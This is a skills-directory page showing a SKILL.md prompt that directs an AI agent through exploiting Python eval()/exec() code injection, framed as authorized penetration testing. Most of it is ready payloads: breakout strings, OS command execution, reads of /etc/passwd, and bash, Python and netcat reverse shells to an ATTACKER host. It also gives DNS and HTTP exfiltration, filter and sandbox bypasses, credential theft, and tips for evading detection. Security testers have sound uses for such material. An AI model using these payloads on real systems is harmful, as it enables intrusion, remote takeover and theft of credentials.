Skip to content
Back to skills

Web Python Code Injection

CSecurity

You are helping a penetration tester exploit Python code injection via eval(),

  • 2 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 19, 2026
ai-agentspythongoshellbashsqlexpressawstestingdebugginggit

Works with

  • terminal
  • mcp

Security analysis

C71/100
  • criticalPipes output to a shell interpreter
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned September 19, 2026

npx -y skills add ajtazer/heckit --skill web-python-code-injection --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Web Python Code Injection?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Web Python Code Injection
[![Security: C — Skills Directory](https://www.skillsdirectory.com/api/skills/ajtazer-web-python-code-injection/badge)](https://www.skillsdirectory.com/skills/ajtazer-web-python-code-injection)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: web-python-code-injection
description: You are helping a penetration tester exploit Python code injection via eval(),
sources: community, blacklanternsecurity/red-run
---


# Python Code Injection

You are helping a penetration tester exploit Python code injection via eval(),
exec(), or compile(). The target application passes user-controlled input to a
Python code evaluation function without proper sanitization. The goal is to
execute arbitrary Python code and escalate to OS command execution. All testing
is under explicit written authorization.

**This is NOT OS command injection.** Shell operators (`;`, `|`, `&&`) do not
work because the injection context is a Python interpreter, not a shell. You
must write valid Python expressions or statements.

**This is NOT SSTI.** Template injection targets Jinja2/Twig/Freemarker
rendering engines. This skill targets direct eval()/exec() calls in application
code. If `{{7*7}}` returns `49`, route to **ssti-jinja2** or **ssti-twig**
instead. If `{{7*7}}` returns literally but `7*7` evaluates, you're in the
right place.

## Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:
- Print `[python-code-injection] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
  descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

## Scope Boundary

This skill covers Python code injection through eval(), exec(), and compile()
— from confirming the injection through achieving OS command execution. When
you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain —
**STOP**.

Do not load or execute another skill. Do not continue past your scope boundary.
Instead, return to the orchestrator with:
  - What was found (vulns, credentials, access gained)
  - Context to pass (injection point, target, working payloads, etc.)

The orchestrator decides what runs next. Your job is to execute this skill
thoroughly and return clean findings.

**Stay in methodology.** Only use techniques documented in this skill. If you
encounter a scenario not covered here, note it and return — do not improvise
attacks, write custom exploit code, or apply techniques from other domains.
The orchestrator will provide specific guidance or route to a different skill.

## State Management

Call `get_state_summary()` from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)

Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)

## Prerequisites

- A parameter that gets passed to Python eval(), exec(), or compile()
- Common vulnerable patterns: search engines (Searchor), calculators, query
  builders, dynamic filters, format string handlers, custom DSLs backed by eval
- Knowledge of the injection context (string argument, numeric, f-string, etc.)

## Step 1: Assess

If not already provided, determine:

1. **Injection function** — eval() (expressions only) vs exec() (statements) vs
   compile() (either)
2. **Injection context** — is input placed inside a string literal, as a bare
   argument, in an f-string, or concatenated into code?
3. **Visible or blind** — is the return value of eval() reflected in the
   response, or is this blind (side-channel only)?
4. **Sanitization** — are any characters filtered? (quotes, parens, underscores,
   dots, brackets)

### Distinguishing eval() from exec()

| Feature | eval() | exec() |
|---------|--------|--------|
| Accepts | Expressions only | Statements and expressions |
| Returns | Expression result | None |
| `import os` | SyntaxError | Works |
| Multi-line | No (single expression) | Yes |
| Assignment (`x=1`) | SyntaxError | Works |

If you can execute `__import__('os')` but not `import os`, it's likely eval().
If both work, it's likely exec() or compile().

### Common Vulnerable Patterns

**Pattern 1: String interpolation into eval** (most common)
```python
# Application code:
result = eval(f"func('{user_input}')")
# Injection: break out of the string, inject code, comment out remainder
```

**Pattern 2: Direct eval of parameter**
```python
# Application code:
result = eval(request.args.get('expr'))
# Injection: any Python expression works directly
```

**Pattern 3: exec() with string building**
```python
# Application code:
exec(f"variable = '{user_input}'")
# Injection: break out of string, inject statements
```

**Pattern 4: eval() in ORM/filter context**
```python
# Application code:
query = eval(f"Model.objects.filter({user_input})")
# Injection: close the filter, chain arbitrary code
```

Skip assessment if context was already provided by web-discovery or the
orchestrator.

## Step 2: Confirm Injection

### Quick Confirmation Probes

Test these in order — the first one that returns an evaluated result (not a
literal echo) confirms eval() injection:

```
# Arithmetic — most universal
7*7
str(7*7)

# String operations
'A'*3
str(type(1))

# Python builtins
str(True)
str(len('test'))
```

**Expected responses for confirmation:**
- `7*7` → `49` (not the literal `7*7`)
- `'A'*3` → `AAA`
- `str(type(1))` → `<class 'int'>`

### Disambiguate from SSTI

If `7*7` returns `49`, also test template syntax to rule out SSTI:

```
{{7*7}}     → if this ALSO returns 49, route to ssti-jinja2 or ssti-twig
${7*7}      → if this returns 49, route to ssti-freemarker
<%= 7*7 %>  → if this returns 49, route to ERB SSTI
```

If template syntax returns literally but bare Python expressions evaluate →
this is eval() injection, not SSTI.

### Error-Based Confirmation

Inject invalid Python to trigger error messages:

```
'
)
(
__import__
```

**Python tracebacks in the response** (`SyntaxError`, `NameError`,
`TypeError`) confirm Python code evaluation. The traceback may also reveal:
- The eval()/exec() call in the stack trace
- The file path of the application
- The full code context around the injection point

## Step 3: Breakout Payloads

The breakout strategy depends on the injection context. Identify which context
you're in, then use the matching payload pattern.

### Context A: Input Inside a String Argument

The most common pattern — your input is placed inside quotes within a function
call:

```python
# Application code:
eval(f"Engine.search('{INJECTION}', copy_url=False)")
```

**Breakout strategy**: Close the string and function call, concatenate your
code, comment out the trailing syntax.

```python
# Payload template:
# CLOSE_STR + CLOSE_PARENS + OPERATOR + CODE + COMMENT

# Read /etc/passwd
test',copy_url=False)+str(open('/etc/passwd').read())#

# Execute OS command
test',copy_url=False)+str(__import__('os').popen('id').read())#

# With named args to satisfy function signature
test',copy_url=False,open_web=False)+str(__import__('os').popen('id').read())#
```

**Adjust the closing syntax to match the context:**

```python
# If inside double quotes:
test",copy_url=False)+str(__import__('os').popen('id').read())#

# If inside parens inside a string:
test'),key=val)+str(__import__('os').popen('id').read())#

# If multiple nested calls:
test'))+str(__import__('os').popen('id').read())#
```

### Context B: Direct Expression Evaluation

Input is passed directly to eval() without wrapping:

```python
# Application code:
result = eval(user_input)
```

**No breakout needed** — inject Python expressions directly:

```python
# OS command execution
__import__('os').popen('id').read()

# File read
open('/etc/passwd').read()

# Reverse shell
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
```

### Context C: Numeric/Arithmetic Context

Input expected to be a number in an arithmetic expression:

```python
# Application code:
result = eval(f"{user_input} * price")
```

**Breakout strategy**: Satisfy the arithmetic, then chain code:

```python
# Payload:
1+0 if __import__('os').system('id') else 0
(1).__class__.__bases__[0].__subclasses__()

# With string concatenation to exfiltrate:
str(__import__('os').popen('id').read())+str(0*
```

### Context D: exec() with Statement Injection

If exec() is used, you can inject full Python statements:

```python
# Close the existing statement, inject new ones
'; import os; os.system('id') #
' + ''; import os; os.system('id') #

# Multi-statement via semicolons
a=1; import os; os.system('id')

# Newline injection (if %0a is not filtered)
%0aimport os%0aos.system('id')
```

## Step 4: Command Execution Payloads

Once you can inject arbitrary Python expressions, achieve OS command execution.

### Primary Payloads (use these first)

```python
# popen — returns output (best for visible injection)
__import__('os').popen('id').read()
__import__('os').popen('cat /etc/passwd').read()
__import__('os').popen('whoami').read()

# system — returns exit code only (0 = success)
__import__('os').system('id')
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')

# subprocess
__import__('subprocess').check_output('id',shell=True).decode()
__import__('subprocess').check_output(['cat','/etc/passwd']).decode()
```

### Wrapping for Visible Output

When the application returns the eval() result, wrap commands to ensure output
is captured:

```python
# Wrap in str() for string coercion
str(__import__('os').popen('id').read())

# Concatenate with expected return value (stealth)
'https://google.com/'+__import__('os').popen('id').read()

# Multiple commands in one injection
str(__import__('os').popen('id && whoami && cat /etc/passwd').read())
```

### Reverse Shell Payloads

```python
# Bash reverse shell
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')

# Python reverse shell (if bash is restricted)
__import__('os').system('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'')

# Netcat reverse shell
__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f')
```

### Blind Injection (No Output Reflected)

When eval() result is not returned in the response:

```python
# Time-based confirmation
__import__('time').sleep(5)

# DNS exfiltration
__import__('os').system('host $(whoami).ATTACKER.com')

# HTTP exfiltration
__import__('os').system('curl http://ATTACKER:PORT/$(whoami)')

# File write (retrieve via LFI or directory listing)
__import__('os').system('id > /var/www/html/proof.txt')

# Reverse shell (most practical for blind)
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
```

## Step 5: Filter Bypass and Sandbox Escape

### Bypassing Character Filters

**Underscores (`_`) blocked:**

```python
# Use getattr() and chr()
getattr(getattr(__builtins__,chr(95)*2+'import'+chr(95)*2),'os')

# Use globals/locals
globals()[chr(95)*2+'builtins'+chr(95)*2]

# Via string concatenation
getattr('',chr(95)*2+'class'+chr(95)*2)
```

**Dots (`.`) blocked:**

```python
# Use getattr()
getattr(__import__('os'),'popen')('id')

# Use bracket notation on dicts
__import__('os').__dict__['popen']('id')
```

**Quotes (`'`, `"`) blocked:**

```python
# Use chr() to build strings
__import__(chr(111)+chr(115)).popen(chr(105)+chr(100)).read()

# Use bytes decoding
__import__(bytes([111,115]).decode()).popen(bytes([105,100]).decode()).read()

# Use string from existing objects
# 'os' from an exception message, class name, etc.
```

**Parentheses (`(`, `)`) blocked:**

This is severe — most Python code requires parens. Possible workarounds:

```python
# Decorator abuse (exec context only)
@exec
@input
class X:pass
# Then type your payload at the prompt

# List comprehension with side effects
[x for x in [__import__] if x.__call__]
```

**Brackets (`[`, `]`) blocked:**

```python
# Use __getitem__ via getattr
getattr(mylist,'__getitem__')(0)

# Use next(iter()) instead of [0]
next(iter(__import__('os').popen('id')))
```

### Restricted Builtins Bypass

When `__builtins__` is restricted or `__import__` is removed:

**Subclass chain (the universal bypass):**

```python
# Find a subclass that has access to os or subprocess
# Step 1: Get object base class
''.__class__.__mro__[1].__subclasses__()

# Step 2: Find useful subclass (os._wrap_close, subprocess.Popen, etc.)
# Enumerate to find the index:
[x for x in ''.__class__.__mro__[1].__subclasses__() if 'wrap_close' in str(x)]

# Step 3: Use it — os._wrap_close has __init__.__globals__ with os module
''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['popen']('id').read()
```

**Finding the right subclass index:**

```python
# Dump all subclasses with indices
[(i,x) for i,x in enumerate(''.__class__.__mro__[1].__subclasses__()) if 'os' in str(getattr(getattr(x,'__init__',None),'__globals__',{}))]

# Common targets:
# os._wrap_close — has popen, system in __globals__
# subprocess.Popen — direct command execution
# importlib._bootstrap.BuiltinImporter — can import modules
# warnings.catch_warnings — has builtins in __globals__
```

**Compact subclass exploit (finds os._wrap_close automatically):**

```python
[x for x in ''.__class__.__mro__[1].__subclasses__() if 'wrap_close' in str(x)][0].__init__.__globals__['popen']('id').read()
```

**Via __globals__ on any function:**

```python
# Any defined function's __globals__ dict contains builtins
(lambda: 0).__globals__['__builtins__'].__import__('os').popen('id').read()
```

**Via exception handler:**

```python
# Trigger exception, access traceback globals
try:
    raise Exception()
except Exception as e:
    import sys
    tb = sys.exc_info()[2]
    tb.tb_frame.f_globals['__builtins__']['__import__']('os').system('id')
```

### URL Encoding for Web Delivery

When injecting through HTTP parameters, URL-encode special characters:

```
# Spaces: + or %20
# Single quote: %27
# Double quote: %22
# Hash/comment: %23
# Newline: %0a
# Parentheses: %28 %29
```

Use `--data-urlencode` with curl to handle encoding automatically:

```bash
curl -s -X POST http://TARGET/endpoint \
  --data-urlencode "param=PAYLOAD_HERE"
```

## Step 6: Escalate or Pivot

### Credential-Based Access Handoff

When code injection reveals credentials (config files, git repos, environment
variables, database connection strings), write a handoff for the operator:

1. Save discovered credentials to `engagement/evidence/`
2. Write connection commands the operator can run
3. Report in your return summary: credentials and Pivot Map entry
4. Tell the operator: "Credentials found. SSH handoff ready — connect from
   your terminal."

Do NOT attempt to establish SSH/WinRM sessions programmatically from the
injection context — it's fragile and wastes turns debugging interactive auth
issues.

### Reverse Shell

If credentials aren't found but command execution is confirmed:

1. Start a listener on the attackbox: `nc -lvnp PORT`
2. Inject a reverse shell payload from Step 4
3. Stabilize: `python3 -c 'import pty; pty.spawn("/bin/bash")'`

### Routing

- **Shell as non-root on Linux** → STOP. Return to orchestrator recommending
  **linux-discovery**. Pass: hostname, current user, access method
  (injection-based RCE or reverse shell).
- **Shell as non-admin on Windows** → STOP. Return to orchestrator recommending
  **windows-discovery**. Pass: hostname, current user, access method.
- **Found credentials** → report credentials, test against SSH/RDP/WinRM/other
  services. Return to orchestrator recommending the appropriate discovery skill.
- **Blind injection only, no shell** → extract credentials via DNS/HTTP
  exfiltration (file reads: config files, .env, .git/config, SSH keys), then
  use credentials for direct access.

When routing, always pass along: injection point, working payload, target
platform, and any credentials found.

## OPSEC Notes

- eval()/exec() injection generates Python tracebacks on errors — visible in
  application logs
- OS commands via system()/popen() create child processes visible in `ps`
- Reverse shells generate network connections logged by netflow/EDR
- File reads via open() don't create shell processes — lower detection surface
  than os.popen()
- Prefer `open('/path').read()` for file reads over `os.popen('cat /path')` —
  no child process created
- Blind time-based probes (`time.sleep()`) are stealthy — no process creation,
  no network traffic
- URL-encoded payloads are logged in web server access logs in encoded form

## Troubleshooting

### Payload Returns Empty or None

- eval() returns the expression result — use `str()` to coerce to string
- system() returns exit code (int), not output — use `popen().read()` instead
- Check if the application wraps the result (e.g., redirects instead of
  displaying)

### SyntaxError in Response

- You're likely in eval() (expression-only) and injected a statement (import,
  assignment). Use `__import__()` instead of `import`, use walrus operator
  `:=` instead of `=` (Python 3.8+)
- Check quoting context — are you inside single quotes, double quotes, or
  unquoted?
- Count your parentheses — unbalanced parens cause SyntaxError

### NameError: __import__ Not Defined

- `__builtins__` may be restricted. Use the subclass chain (Step 5)
- Try `__builtins__.__import__` explicitly
- Try `getattr(__builtins__, '__import__')`
- If `__builtins__` is a dict (not module): `__builtins__['__import__']`

### Input is Truncated

- Web parameter length limits. Try POST instead of GET
- Use shorter payloads: `__import__('os').system('id')` is shorter than
  `__import__('subprocess').check_output('id',shell=True).decode()`
- For very tight limits, stage: write a short file downloader, then download
  and execute a full payload

### Application Crashes After Injection

- The injected code may cause an unhandled exception. Wrap in try/except:
  `(lambda:(__import__('os').popen('id').read()))()` or ensure your payload
  produces a value the application can handle
- If using `#` to comment out trailing code, ensure there's no critical cleanup
  being skipped (connection closing, transaction commits)

### Can Execute Code but No External Network Access

- Target may be in an isolated network. Use the injection for file reads to
  extract credentials, then pivot via SSH/internal services
- Write results to a web-accessible path and retrieve via HTTP
- Use the injection as a webshell equivalent: script repeated curl calls to
  execute commands and retrieve output

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…